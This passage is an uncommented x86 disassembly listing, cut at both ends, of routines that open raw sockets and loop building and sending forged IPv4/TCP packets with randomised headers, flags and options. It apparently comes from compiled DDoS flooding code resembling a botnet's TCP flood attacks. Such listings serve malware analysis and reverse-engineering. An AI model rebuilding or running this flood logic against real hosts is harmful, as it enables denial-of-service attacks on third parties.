8049189: 83 c4 20 add $0x20,%esp | |
804918c: 6a 00 push $0x0 | |
804918e: 6a 10 push $0x10 | |
8049190: 57 push %edi | |
8049191: 56 push %esi | |
8049192: e8 a9 f3 ff ff call 0x8048540 | |
8049197: 68 00 02 00 00 push $0x200 | |
804919c: 89 c5 mov %eax,%ebp | |
804919e: 6a 00 push $0x0 | |
80491a0: 57 push %edi | |
80491a1: 56 push %esi | |
80491a2: e8 99 f3 ff ff call 0x8048540 | |
80491a7: 89 44 24 64 mov %eax,0x64(%esp) | |
80491ab: 83 c4 20 add $0x20,%esp | |
80491ae: 6a 01 push $0x1 | |
80491b0: 6a 01 push $0x1 | |
80491b2: 57 push %edi | |
80491b3: 56 push %esi | |
80491b4: e8 87 f3 ff ff call 0x8048540 | |
80491b9: 88 44 24 5b mov %al,0x5b(%esp) | |
80491bd: a1 08 f1 04 08 mov 0x804f108,%eax | |
80491c2: 50 push %eax | |
80491c3: 6a 19 push $0x19 | |
80491c5: 57 push %edi | |
80491c6: 56 push %esi | |
80491c7: e8 14 f3 ff ff call 0x80484e0 | |
80491cc: 89 44 24 6c mov %eax,0x6c(%esp) | |
80491d0: 83 c4 1c add $0x1c,%esp | |
80491d3: 6a 06 push $0x6 | |
80491d5: 6a 03 push $0x3 | |
80491d7: 6a 02 push $0x2 | |
80491d9: e8 41 36 00 00 call 0x804c81f | |
80491de: 89 44 24 44 mov %eax,0x44(%esp) | |
80491e2: 83 c4 10 add $0x10,%esp | |
80491e5: 40 inc %eax | |
80491e6: 0f 84 16 04 00 00 je 0x8049602 | |
80491ec: c7 44 24 68 01 00 00 movl $0x1,0x68(%esp) | |
80491f3: 00 | |
80491f4: 83 ec 0c sub $0xc,%esp | |
80491f7: 6a 04 push $0x4 | |
80491f9: 8d 44 24 78 lea 0x78(%esp),%eax | |
80491fd: 50 push %eax | |
80491fe: 6a 03 push $0x3 | |
8049200: 6a 00 push $0x0 | |
8049202: 8b 44 24 50 mov 0x50(%esp),%eax | |
8049206: 50 push %eax | |
8049207: e8 d8 35 00 00 call 0x804c7e4 | |
804920c: 83 c4 20 add $0x20,%esp | |
804920f: 40 inc %eax | |
8049210: 0f 84 dc 03 00 00 je 0x80495f2 | |
8049216: 8b 44 24 14 mov 0x14(%esp),%eax | |
804921a: 8b 54 24 0c mov 0xc(%esp),%edx | |
804921e: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
8049222: 66 89 44 24 40 mov %ax,0x40(%esp) | |
8049227: 8b 44 24 04 mov 0x4(%esp),%eax | |
804922b: 66 89 54 24 3a mov %dx,0x3a(%esp) | |
8049230: 66 89 4c 24 3e mov %cx,0x3e(%esp) | |
8049235: c7 44 24 68 00 00 00 movl $0x0,0x68(%esp) | |
804923c: 00 | |
804923d: 85 c0 test %eax,%eax | |
804923f: 0f 8e a1 02 00 00 jle 0x80494e6 | |
8049245: 8a 54 24 28 mov 0x28(%esp),%dl | |
8049249: 8b 4c 24 44 mov 0x44(%esp),%ecx | |
804924d: 83 c1 28 add $0x28,%ecx | |
8049250: 88 54 24 43 mov %dl,0x43(%esp) | |
8049254: 83 e2 01 and $0x1,%edx | |
8049257: 66 89 4c 24 54 mov %cx,0x54(%esp) | |
804925c: 88 54 24 58 mov %dl,0x58(%esp) | |
8049260: 8a 4c 24 30 mov 0x30(%esp),%cl | |
8049264: 8a 54 24 2c mov 0x2c(%esp),%dl | |
8049268: 83 e1 01 and $0x1,%ecx | |
804926b: 83 e2 01 and $0x1,%edx | |
804926e: 8b 44 24 18 mov 0x18(%esp),%eax | |
8049272: 88 54 24 59 mov %dl,0x59(%esp) | |
8049276: 88 4c 24 5a mov %cl,0x5a(%esp) | |
804927a: 8a 54 24 20 mov 0x20(%esp),%dl | |
804927e: 8a 4c 24 24 mov 0x24(%esp),%cl | |
8049282: 66 89 44 24 56 mov %ax,0x56(%esp) | |
8049287: 83 e2 01 and $0x1,%edx | |
804928a: 89 e8 mov %ebp,%eax | |
804928c: 83 e1 01 and $0x1,%ecx | |
804928f: 83 e0 01 and $0x1,%eax | |
8049292: 89 d7 mov %edx,%edi | |
8049294: 89 cd mov %ecx,%ebp | |
8049296: 88 44 24 5b mov %al,0x5b(%esp) | |
804929a: c1 e7 05 shl $0x5,%edi | |
804929d: 31 db xor %ebx,%ebx | |
804929f: c1 e5 04 shl $0x4,%ebp | |
80492a2: 50 push %eax | |
80492a3: 50 push %eax | |
80492a4: 6a 01 push $0x1 | |
80492a6: 68 e6 05 00 00 push $0x5e6 | |
80492ab: e8 34 3d 00 00 call 0x804cfe4 | |
80492b0: 8b 54 24 18 mov 0x18(%esp),%edx | |
80492b4: 89 04 9a mov %eax,(%edx,%ebx,4) | |
80492b7: 8b 44 24 78 mov 0x78(%esp),%eax | |
80492bb: 8b 1c 82 mov (%edx,%eax,4),%ebx | |
80492be: c6 03 45 movb $0x45,(%ebx) | |
80492c1: 8d 73 14 lea 0x14(%ebx),%esi | |
80492c4: 8a 4c 24 49 mov 0x49(%esp),%cl | |
80492c8: 88 4b 01 mov %cl,0x1(%ebx) | |
80492cb: 8b 44 24 64 mov 0x64(%esp),%eax | |
80492cf: 66 c1 c8 08 ror $0x8,%ax | |
80492d3: 66 89 43 02 mov %ax,0x2(%ebx) | |
80492d7: 66 8b 44 24 4a mov 0x4a(%esp),%ax | |
80492dc: 66 c1 c8 08 ror $0x8,%ax | |
80492e0: 66 89 43 04 mov %ax,0x4(%ebx) | |
80492e4: 8a 44 24 4c mov 0x4c(%esp),%al | |
80492e8: 83 c4 10 add $0x10,%esp | |
80492eb: 88 43 08 mov %al,0x8(%ebx) | |
80492ee: 80 7c 24 3d 00 cmpb $0x0,0x3d(%esp) | |
80492f3: 74 06 je 0x80492fb | |
80492f5: 66 c7 43 06 40 00 movw $0x40,0x6(%ebx) | |
80492fb: c6 43 09 06 movb $0x6,0x9(%ebx) | |
80492ff: 8b 54 24 4c mov 0x4c(%esp),%edx | |
8049303: 8b 8c 24 84 00 00 00 mov 0x84(%esp),%ecx | |
804930a: 89 53 0c mov %edx,0xc(%ebx) | |
804930d: 8b 44 24 68 mov 0x68(%esp),%eax | |
8049311: 8d 04 40 lea (%eax,%eax,2),%eax | |
8049314: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax | |
8049318: 89 43 10 mov %eax,0x10(%ebx) | |
804931b: 66 8b 44 24 3e mov 0x3e(%esp),%ax | |
8049320: 66 c1 c8 08 ror $0x8,%ax | |
8049324: 66 89 43 14 mov %ax,0x14(%ebx) | |
8049328: 8b 44 24 40 mov 0x40(%esp),%eax | |
804932c: 66 c1 c8 08 ror $0x8,%ax | |
8049330: 66 89 46 02 mov %ax,0x2(%esi) | |
8049334: 66 8b 44 24 56 mov 0x56(%esp),%ax | |
8049339: 66 c1 c8 08 ror $0x8,%ax | |
804933d: 25 ff ff 00 00 and $0xffff,%eax | |
8049342: 89 46 04 mov %eax,0x4(%esi) | |
8049345: 8a 46 0c mov 0xc(%esi),%al | |
8049348: 83 e0 0f and $0xf,%eax | |
804934b: 83 c8 50 or $0x50,%eax | |
804934e: 88 46 0c mov %al,0xc(%esi) | |
8049351: 8a 46 0d mov 0xd(%esi),%al | |
8049354: 83 e0 cf and $0xffffffcf,%eax | |
8049357: 8a 4c 24 58 mov 0x58(%esp),%cl | |
804935b: 09 f8 or %edi,%eax | |
804935d: 8a 54 24 59 mov 0x59(%esp),%dl | |
8049361: c1 e1 03 shl $0x3,%ecx | |
8049364: 09 e8 or %ebp,%eax | |
8049366: c1 e2 02 shl $0x2,%edx | |
8049369: 83 e0 f3 and $0xfffffff3,%eax | |
804936c: 09 c8 or %ecx,%eax | |
804936e: 09 d0 or %edx,%eax | |
8049370: 8a 54 24 5a mov 0x5a(%esp),%dl | |
8049374: 01 d2 add %edx,%edx | |
8049376: 83 e0 fc and $0xfffffffc,%eax | |
8049379: 09 d0 or %edx,%eax | |
804937b: 0a 44 24 5b or 0x5b(%esp),%al | |
804937f: 88 46 0d mov %al,0xd(%esi) | |
8049382: e8 c9 1f 00 00 call 0x804b350 | |
8049387: 80 7c 24 43 00 cmpb $0x0,0x43(%esp) | |
804938c: 66 89 46 0e mov %ax,0xe(%esi) | |
8049390: 74 04 je 0x8049396 | |
8049392: 80 4e 0d 08 orb $0x8,0xd(%esi) | |
8049396: 50 push %eax | |
8049397: 50 push %eax | |
8049398: 8b 74 24 4c mov 0x4c(%esp),%esi | |
804939c: 8d 43 28 lea 0x28(%ebx),%eax | |
804939f: 56 push %esi | |
80493a0: 50 push %eax | |
80493a1: e8 ea 20 00 00 call 0x804b490 | |
80493a6: 8b 5c 24 78 mov 0x78(%esp),%ebx | |
80493aa: 43 inc %ebx | |
80493ab: 89 5c 24 78 mov %ebx,0x78(%esp) | |
80493af: 83 c4 10 add $0x10,%esp | |
80493b2: 3b 5c 24 04 cmp 0x4(%esp),%ebx | |
80493b6: 0f 8c e6 fe ff ff jl 0x80492a2 | |
80493bc: 8b 44 24 44 mov 0x44(%esp),%eax | |
80493c0: 8b 54 24 44 mov 0x44(%esp),%edx | |
80493c4: 83 c0 14 add $0x14,%eax | |
80493c7: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
80493cb: 89 04 24 mov %eax,(%esp) | |
80493ce: 8d 5a 28 lea 0x28(%edx),%ebx | |
80493d1: 85 c9 test %ecx,%ecx | |
80493d3: 7e fe jle 0x80493d3 | |
80493d5: 8b 6c 24 44 mov 0x44(%esp),%ebp | |
80493d9: c7 44 24 68 00 00 00 movl $0x0,0x68(%esp) | |
80493e0: 00 | |
80493e1: 83 c5 14 add $0x14,%ebp | |
80493e4: 31 c0 xor %eax,%eax | |
80493e6: 8b 54 24 08 mov 0x8(%esp),%edx | |
80493ea: 8b 8c 24 84 00 00 00 mov 0x84(%esp),%ecx | |
80493f1: 8b 34 82 mov (%edx,%eax,4),%esi | |
80493f4: 8d 04 40 lea (%eax,%eax,2),%eax | |
80493f7: 8d 04 c1 lea (%ecx,%eax,8),%eax | |
80493fa: 8d 7e 14 lea 0x14(%esi),%edi | |
80493fd: 80 78 14 1f cmpb $0x1f,0x14(%eax) | |
8049401: 0f 86 01 01 00 00 jbe 0x8049508 | |
8049407: 83 7c 24 4c ff cmpl $0xffffffff,0x4c(%esp) | |
804940c: 0f 84 4a 01 00 00 je 0x804955c | |
8049412: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp) | |
8049418: 0f 84 52 01 00 00 je 0x8049570 | |
804941e: 66 83 7c 24 3e ff cmpw $0xffff,0x3e(%esp) | |
8049424: 0f 84 5b 01 00 00 je 0x8049585 | |
804942a: 66 83 7c 24 40 ff cmpw $0xffff,0x40(%esp) | |
8049430: 0f 84 64 01 00 00 je 0x804959a | |
8049436: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp) | |
804943d: 00 | |
804943e: 0f 84 6d 01 00 00 je 0x80495b1 | |
8049444: 81 7c 24 1c ff ff 00 cmpl $0xffff,0x1c(%esp) | |
804944b: 00 | |
804944c: 0f 84 75 01 00 00 je 0x80495c7 | |
8049452: 80 7c 24 4b 00 cmpb $0x0,0x4b(%esp) | |
8049457: 0f 85 7d 01 00 00 jne 0x80495da | |
804945d: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi) | |
8049463: 51 push %ecx | |
8049464: 51 push %ecx | |
8049465: 6a 14 push $0x14 | |
8049467: 56 push %esi | |
8049468: e8 c3 06 00 00 call 0x8049b30 | |
804946d: 8b 54 24 10 mov 0x10(%esp),%edx | |
8049471: 66 89 46 0a mov %ax,0xa(%esi) | |
8049475: 66 c7 47 10 00 00 movw $0x0,0x10(%edi) | |
804947b: 89 e8 mov %ebp,%eax | |
804947d: 66 c1 c8 08 ror $0x8,%ax | |
8049481: 25 ff ff 00 00 and $0xffff,%eax | |
8049486: 52 push %edx | |
8049487: 50 push %eax | |
8049488: 57 push %edi | |
8049489: 56 push %esi | |
804948a: e8 f1 06 00 00 call 0x8049b80 | |
804948f: 66 89 47 10 mov %ax,0x10(%edi) | |
8049493: 8b 84 24 88 00 00 00 mov 0x88(%esp),%eax | |
804949a: 8b 8c 24 a4 00 00 00 mov 0xa4(%esp),%ecx | |
80494a1: 66 8b 57 02 mov 0x2(%edi),%dx | |
80494a5: 8d 04 40 lea (%eax,%eax,2),%eax | |
80494a8: 83 c4 18 add $0x18,%esp | |
80494ab: c1 e0 03 shl $0x3,%eax | |
80494ae: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1) | |
80494b3: 01 c8 add %ecx,%eax | |
80494b5: 6a 10 push $0x10 | |
80494b7: 50 push %eax | |
80494b8: 68 00 40 00 00 push $0x4000 | |
80494bd: 53 push %ebx | |
80494be: 56 push %esi | |
80494bf: 8b 44 24 50 mov 0x50(%esp),%eax | |
80494c3: 50 push %eax | |
80494c4: e8 d8 32 00 00 call 0x804c7a1 | |
80494c9: 8b 84 24 88 00 00 00 mov 0x88(%esp),%eax | |
80494d0: 40 inc %eax | |
80494d1: 89 84 24 88 00 00 00 mov %eax,0x88(%esp) | |
80494d8: 83 c4 20 add $0x20,%esp | |
80494db: 3b 44 24 04 cmp 0x4(%esp),%eax | |
80494df: 7d 16 jge 0x80494f7 | |
80494e1: e9 00 ff ff ff jmp 0x80493e6 | |
80494e6: 8b 4c 24 44 mov 0x44(%esp),%ecx | |
80494ea: 8b 44 24 44 mov 0x44(%esp),%eax | |
80494ee: 83 c1 14 add $0x14,%ecx | |
80494f1: 89 0c 24 mov %ecx,(%esp) | |
80494f4: 8d 58 28 lea 0x28(%eax),%ebx | |
80494f7: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
80494fb: 85 c9 test %ecx,%ecx | |
80494fd: 0f 8e d0 fe ff ff jle 0x80493d3 | |
8049503: e9 cd fe ff ff jmp 0x80493d5 | |
8049508: 8b 40 10 mov 0x10(%eax),%eax | |
804950b: 89 44 24 50 mov %eax,0x50(%esp) | |
804950f: 66 c1 c8 08 ror $0x8,%ax | |
8049513: c1 c8 10 ror $0x10,%eax | |
8049516: 66 c1 c8 08 ror $0x8,%ax | |
804951a: 89 44 24 50 mov %eax,0x50(%esp) | |
804951e: e8 2d 1e 00 00 call 0x804b350 | |
8049523: 8b 54 24 68 mov 0x68(%esp),%edx | |
8049527: 8d 0c 52 lea (%edx,%edx,2),%ecx | |
804952a: 8b 94 24 84 00 00 00 mov 0x84(%esp),%edx | |
8049531: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl | |
8049535: 8b 54 24 50 mov 0x50(%esp),%edx | |
8049539: 81 e1 ff 00 00 00 and $0xff,%ecx | |
804953f: d3 e8 shr %cl,%eax | |
8049541: 01 d0 add %edx,%eax | |
8049543: 66 c1 c8 08 ror $0x8,%ax | |
8049547: c1 c8 10 ror $0x10,%eax | |
804954a: 66 c1 c8 08 ror $0x8,%ax | |
804954e: 83 7c 24 4c ff cmpl $0xffffffff,0x4c(%esp) | |
8049553: 89 46 10 mov %eax,0x10(%esi) | |
8049556: 0f 85 b6 fe ff ff jne 0x8049412 | |
804955c: e8 ef 1d 00 00 call 0x804b350 | |
8049561: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp) | |
8049567: 89 46 0c mov %eax,0xc(%esi) | |
804956a: 0f 85 ae fe ff ff jne 0x804941e | |
8049570: e8 db 1d 00 00 call 0x804b350 | |
8049575: 66 83 7c 24 3e ff cmpw $0xffff,0x3e(%esp) | |
804957b: 66 89 46 04 mov %ax,0x4(%esi) | |
804957f: 0f 85 a5 fe ff ff jne 0x804942a | |
8049585: e8 c6 1d 00 00 call 0x804b350 | |
804958a: 66 83 7c 24 40 ff cmpw $0xffff,0x40(%esp) | |
8049590: 66 89 46 14 mov %ax,0x14(%esi) | |
8049594: 0f 85 9c fe ff ff jne 0x8049436 | |
804959a: e8 b1 1d 00 00 call 0x804b350 | |
804959f: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp) | |
80495a6: 00 | |
80495a7: 66 89 47 02 mov %ax,0x2(%edi) | |
80495ab: 0f 85 93 fe ff ff jne 0x8049444 | |
80495b1: e8 9a 1d 00 00 call 0x804b350 | |
80495b6: 81 7c 24 1c ff ff 00 cmpl $0xffff,0x1c(%esp) | |
80495bd: 00 | |
80495be: 89 47 04 mov %eax,0x4(%edi) | |
80495c1: 0f 85 8b fe ff ff jne 0x8049452 | |
80495c7: e8 84 1d 00 00 call 0x804b350 | |
80495cc: 80 7c 24 4b 00 cmpb $0x0,0x4b(%esp) | |
80495d1: 89 47 08 mov %eax,0x8(%edi) | |
80495d4: 0f 84 83 fe ff ff je 0x804945d | |
80495da: 50 push %eax | |
80495db: 50 push %eax | |
80495dc: 8b 44 24 4c mov 0x4c(%esp),%eax | |
80495e0: 50 push %eax | |
80495e1: 8d 46 28 lea 0x28(%esi),%eax | |
80495e4: 50 push %eax | |
80495e5: e8 a6 1e 00 00 call 0x804b490 | |
80495ea: 83 c4 10 add $0x10,%esp | |
80495ed: e9 6b fe ff ff jmp 0x804945d | |
80495f2: 83 ec 0c sub $0xc,%esp | |
80495f5: 8b 44 24 40 mov 0x40(%esp),%eax | |
80495f9: 50 push %eax | |
80495fa: e8 d4 2a 00 00 call 0x804c0d3 | |
80495ff: 83 c4 10 add $0x10,%esp | |
8049602: 83 c4 6c add $0x6c,%esp | |
8049605: 5b pop %ebx | |
8049606: 5e pop %esi | |
8049607: 5f pop %edi | |
8049608: 5d pop %ebp | |
8049609: c3 ret | |
804960a: 90 nop | |
804960b: 90 nop | |
804960c: 90 nop | |
804960d: 90 nop | |
804960e: 90 nop | |
804960f: 90 nop | |
8049610: 55 push %ebp | |
8049611: 57 push %edi | |
8049612: 56 push %esi | |
8049613: 53 push %ebx | |
8049614: 83 ec 64 sub $0x64,%esp | |
8049617: 8b 9c 24 84 00 00 00 mov 0x84(%esp),%ebx | |
804961e: 0f b6 b4 24 80 00 00 movzbl 0x80(%esp),%esi | |
8049625: 00 | |
8049626: 6a 04 push $0x4 | |
8049628: 81 e6 ff 00 00 00 and $0xff,%esi | |
804962e: 8a 44 24 7c mov 0x7c(%esp),%al | |
8049632: 25 ff 00 00 00 and $0xff,%eax | |
8049637: 50 push %eax | |
8049638: 89 c5 mov %eax,%ebp | |
804963a: e8 a5 39 00 00 call 0x804cfe4 | |
804963f: 89 44 24 14 mov %eax,0x14(%esp) | |
8049643: 6a 00 push $0x0 | |
8049645: 6a 02 push $0x2 | |
8049647: 53 push %ebx | |
8049648: 56 push %esi | |
8049649: e8 f2 ee ff ff call 0x8048540 | |
804964e: 88 44 24 55 mov %al,0x55(%esp) | |
8049652: 83 c4 20 add $0x20,%esp | |
8049655: 68 ff ff 00 00 push $0xffff | |
804965a: 6a 03 push $0x3 | |
804965c: 53 push %ebx | |
804965d: 56 push %esi | |
804965e: e8 dd ee ff ff call 0x8048540 | |
8049663: 89 44 24 18 mov %eax,0x18(%esp) | |
8049667: 6a 40 push $0x40 | |
8049669: 6a 04 push $0x4 | |
804966b: 53 push %ebx | |
804966c: 56 push %esi | |
804966d: e8 ce ee ff ff call 0x8048540 | |
8049672: 88 44 24 58 mov %al,0x58(%esp) | |
8049676: 83 c4 20 add $0x20,%esp | |
8049679: 6a 01 push $0x1 | |
804967b: 6a 05 push $0x5 | |
804967d: 53 push %ebx | |
804967e: 56 push %esi | |
804967f: e8 bc ee ff ff call 0x8048540 | |
8049684: 88 44 24 49 mov %al,0x49(%esp) | |
8049688: 68 ff ff 00 00 push $0xffff | |
804968d: 6a 06 push $0x6 | |
804968f: 53 push %ebx | |
8049690: 56 push %esi | |
8049691: e8 aa ee ff ff call 0x8048540 | |
8049696: 89 44 24 2c mov %eax,0x2c(%esp) | |
804969a: 83 c4 20 add $0x20,%esp | |
804969d: 68 ff ff 00 00 push $0xffff | |
80496a2: 6a 07 push $0x7 | |
80496a4: 53 push %ebx | |
80496a5: 56 push %esi | |
80496a6: e8 95 ee ff ff call 0x8048540 | |
80496ab: 89 44 24 20 mov %eax,0x20(%esp) | |
80496af: 68 ff ff 00 00 push $0xffff | |
80496b4: 6a 11 push $0x11 | |
80496b6: 53 push %ebx | |
80496b7: 56 push %esi | |
80496b8: e8 83 ee ff ff call 0x8048540 | |
80496bd: 89 44 24 34 mov %eax,0x34(%esp) | |
80496c1: 83 c4 20 add $0x20,%esp | |
80496c4: 6a 00 push $0x0 | |
80496c6: 6a 12 push $0x12 | |
80496c8: 53 push %ebx | |
80496c9: 56 push %esi | |
80496ca: e8 71 ee ff ff call 0x8048540 | |
80496cf: 89 44 24 28 mov %eax,0x28(%esp) | |
80496d3: 6a 00 push $0x0 | |
80496d5: 6a 0b push $0xb | |
80496d7: 53 push %ebx | |
80496d8: 56 push %esi | |
80496d9: e8 62 ee ff ff call 0x8048540 | |
80496de: 89 44 24 3c mov %eax,0x3c(%esp) | |
80496e2: 83 c4 20 add $0x20,%esp | |
80496e5: 6a 00 push $0x0 | |
80496e7: 6a 0c push $0xc | |
80496e9: 53 push %ebx | |
80496ea: 56 push %esi | |
80496eb: e8 50 ee ff ff call 0x8048540 | |
80496f0: 89 44 24 30 mov %eax,0x30(%esp) | |
80496f4: 6a 00 push $0x0 | |
80496f6: 6a 0d push $0xd | |
80496f8: 53 push %ebx | |
80496f9: 56 push %esi | |
80496fa: e8 41 ee ff ff call 0x8048540 | |
80496ff: 89 44 24 44 mov %eax,0x44(%esp) | |
8049703: 83 c4 20 add $0x20,%esp | |
8049706: 6a 00 push $0x0 | |
8049708: 6a 0e push $0xe | |
804970a: 53 push %ebx | |
804970b: 56 push %esi | |
804970c: e8 2f ee ff ff call 0x8048540 | |
8049711: 89 44 24 38 mov %eax,0x38(%esp) | |
8049715: 6a 01 push $0x1 | |
8049717: 6a 0f push $0xf | |
8049719: 53 push %ebx | |
804971a: 56 push %esi | |
804971b: e8 20 ee ff ff call 0x8048540 | |
8049720: 89 44 24 4c mov %eax,0x4c(%esp) | |
8049724: 83 c4 20 add $0x20,%esp | |
8049727: 6a 00 push $0x0 | |
8049729: 6a 10 push $0x10 | |
804972b: 53 push %ebx | |
804972c: 56 push %esi | |
804972d: e8 0e ee ff ff call 0x8048540 | |
8049732: 89 c7 mov %eax,%edi | |
8049734: a1 08 f1 04 08 mov 0x804f108,%eax | |
8049739: 50 push %eax | |
804973a: 6a 19 push $0x19 | |
804973c: 53 push %ebx | |
804973d: 56 push %esi | |
804973e: e8 9d ed ff ff call 0x80484e0 | |
8049743: 89 44 24 60 mov %eax,0x60(%esp) | |
8049747: 83 c4 1c add $0x1c,%esp | |
804974a: 6a 06 push $0x6 | |
804974c: 6a 03 push $0x3 | |
804974e: 6a 02 push $0x2 | |
8049750: e8 ca 30 00 00 call 0x804c81f | |
8049755: 89 44 24 40 mov %eax,0x40(%esp) | |
8049759: 83 c4 10 add $0x10,%esp | |
804975c: 40 inc %eax | |
804975d: 0f 84 bc 03 00 00 je 0x8049b1f | |
8049763: c7 44 24 58 01 00 00 movl $0x1,0x58(%esp) | |
804976a: 00 | |
804976b: 83 ec 0c sub $0xc,%esp | |
804976e: 6a 04 push $0x4 | |
8049770: 8d 44 24 68 lea 0x68(%esp),%eax | |
8049774: 50 push %eax | |
8049775: 6a 03 push $0x3 | |
8049777: 6a 00 push $0x0 | |
8049779: 8b 44 24 4c mov 0x4c(%esp),%eax | |
804977d: 50 push %eax | |
804977e: e8 61 30 00 00 call 0x804c7e4 | |
8049783: 83 c4 20 add $0x20,%esp | |
8049786: 40 inc %eax | |
8049787: 0f 84 82 03 00 00 je 0x8049b0f | |
804978d: 8b 54 24 08 mov 0x8(%esp),%edx | |
8049791: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
8049795: 66 89 54 24 36 mov %dx,0x36(%esp) | |
804979a: 8b 44 24 10 mov 0x10(%esp),%eax | |
804979e: 8a 54 24 1c mov 0x1c(%esp),%dl | |
80497a2: 66 89 4c 24 3a mov %cx,0x3a(%esp) | |
80497a7: 66 89 44 24 3c mov %ax,0x3c(%esp) | |
80497ac: 88 54 24 3f mov %dl,0x3f(%esp) | |
80497b0: c7 44 24 58 00 00 00 movl $0x0,0x58(%esp) | |
80497b7: 00 | |
80497b8: 85 ed test %ebp,%ebp | |
80497ba: 0f 8e 81 01 00 00 jle 0x8049941 | |
80497c0: 83 e2 01 and $0x1,%edx | |
80497c3: 8a 44 24 20 mov 0x20(%esp),%al | |
80497c7: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
80497cb: 88 54 24 03 mov %dl,0x3(%esp) | |
80497cf: 83 e0 01 and $0x1,%eax | |
80497d2: 66 89 4c 24 46 mov %cx,0x46(%esp) | |
80497d7: 88 44 24 48 mov %al,0x48(%esp) | |
80497db: 8a 54 24 24 mov 0x24(%esp),%dl | |
80497df: 8a 4c 24 28 mov 0x28(%esp),%cl | |
80497e3: 8a 44 24 2c mov 0x2c(%esp),%al | |
80497e7: c0 64 24 03 05 shlb $0x5,0x3(%esp) | |
80497ec: 83 e2 01 and $0x1,%edx | |
80497ef: 83 e1 01 and $0x1,%ecx | |
80497f2: 83 e0 01 and $0x1,%eax | |
80497f5: 88 54 24 49 mov %dl,0x49(%esp) | |
80497f9: 88 4c 24 4a mov %cl,0x4a(%esp) | |
80497fd: 88 44 24 4b mov %al,0x4b(%esp) | |
8049801: 83 e7 01 and $0x1,%edi | |
8049804: 31 db xor %ebx,%ebx | |
8049806: 56 push %esi | |
8049807: 56 push %esi | |
8049808: 6a 01 push $0x1 | |
804980a: 68 80 00 00 00 push $0x80 | |
804980f: e8 d0 37 00 00 call 0x804cfe4 | |
8049814: 8b 54 24 14 mov 0x14(%esp),%edx | |
8049818: 89 04 9a mov %eax,(%edx,%ebx,4) | |
804981b: 8b 44 24 68 mov 0x68(%esp),%eax | |
804981f: 8b 1c 82 mov (%edx,%eax,4),%ebx | |
8049822: c6 03 45 movb $0x45,(%ebx) | |
8049825: 8d 73 14 lea 0x14(%ebx),%esi | |
8049828: 8a 4c 24 45 mov 0x45(%esp),%cl | |
804982c: 66 c7 43 02 00 3c movw $0x3c00,0x2(%ebx) | |
8049832: 88 4b 01 mov %cl,0x1(%ebx) | |
8049835: 66 8b 44 24 46 mov 0x46(%esp),%ax | |
804983a: 66 c1 c8 08 ror $0x8,%ax | |
804983e: 66 89 43 04 mov %ax,0x4(%ebx) | |
8049842: 8a 44 24 48 mov 0x48(%esp),%al | |
8049846: 83 c4 10 add $0x10,%esp | |
8049849: 88 43 08 mov %al,0x8(%ebx) | |
804984c: 80 7c 24 39 00 cmpb $0x0,0x39(%esp) | |
8049851: 74 06 je 0x8049859 | |
8049853: 66 c7 43 06 40 00 movw $0x40,0x6(%ebx) | |
8049859: c6 43 09 06 movb $0x6,0x9(%ebx) | |
804985d: 8b 54 24 40 mov 0x40(%esp),%edx | |
8049861: 8b 4c 24 74 mov 0x74(%esp),%ecx | |
8049865: 89 53 0c mov %edx,0xc(%ebx) | |
8049868: 8b 44 24 58 mov 0x58(%esp),%eax | |
804986c: 8d 04 40 lea (%eax,%eax,2),%eax | |
804986f: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax | |
8049873: 89 43 10 mov %eax,0x10(%ebx) | |
8049876: 66 8b 44 24 3a mov 0x3a(%esp),%ax | |
804987b: 66 c1 c8 08 ror $0x8,%ax | |
804987f: 66 89 43 14 mov %ax,0x14(%ebx) | |
8049883: 8b 44 24 3c mov 0x3c(%esp),%eax | |
8049887: 66 c1 c8 08 ror $0x8,%ax | |
804988b: 66 89 46 02 mov %ax,0x2(%esi) | |
804988f: 66 8b 44 24 46 mov 0x46(%esp),%ax | |
8049894: 66 c1 c8 08 ror $0x8,%ax | |
8049898: 25 ff ff 00 00 and $0xffff,%eax | |
804989d: 89 46 04 mov %eax,0x4(%esi) | |
80498a0: 8a 46 0c mov 0xc(%esi),%al | |
80498a3: 83 e0 0f and $0xf,%eax | |
80498a6: 83 c8 a0 or $0xffffffa0,%eax | |
80498a9: 88 46 0c mov %al,0xc(%esi) | |
80498ac: 8a 46 0d mov 0xd(%esi),%al | |
80498af: 83 e0 cf and $0xffffffcf,%eax | |
80498b2: 8a 54 24 48 mov 0x48(%esp),%dl | |
80498b6: 0a 44 24 03 or 0x3(%esp),%al | |
80498ba: 8a 4c 24 49 mov 0x49(%esp),%cl | |
80498be: c1 e2 04 shl $0x4,%edx | |
80498c1: c1 e1 03 shl $0x3,%ecx | |
80498c4: 09 d0 or %edx,%eax | |
80498c6: 83 e0 f3 and $0xfffffff3,%eax | |
80498c9: 8a 54 24 4a mov 0x4a(%esp),%dl | |
80498cd: c1 e2 02 shl $0x2,%edx | |
80498d0: 09 c8 or %ecx,%eax | |
80498d2: 09 d0 or %edx,%eax | |
80498d4: 8a 54 24 4b mov 0x4b(%esp),%dl | |
80498d8: 01 d2 add %edx,%edx | |
80498da: 83 e0 fc and $0xfffffffc,%eax | |
80498dd: 09 d0 or %edx,%eax | |
80498df: 09 f8 or %edi,%eax | |
80498e1: 88 46 0d mov %al,0xd(%esi) | |
80498e4: c6 43 28 02 movb $0x2,0x28(%ebx) | |
80498e8: c6 43 29 04 movb $0x4,0x29(%ebx) | |
80498ec: e8 5f 1a 00 00 call 0x804b350 | |
80498f1: c6 43 2c 04 movb $0x4,0x2c(%ebx) | |
80498f5: 83 e0 0f and $0xf,%eax | |
80498f8: c6 43 2d 02 movb $0x2,0x2d(%ebx) | |
80498fc: 05 78 05 00 00 add $0x578,%eax | |
8049901: c6 43 2e 08 movb $0x8,0x2e(%ebx) | |
8049905: 66 c1 c8 08 ror $0x8,%ax | |
8049909: c6 43 2f 0a movb $0xa,0x2f(%ebx) | |
804990d: 66 89 43 2a mov %ax,0x2a(%ebx) | |
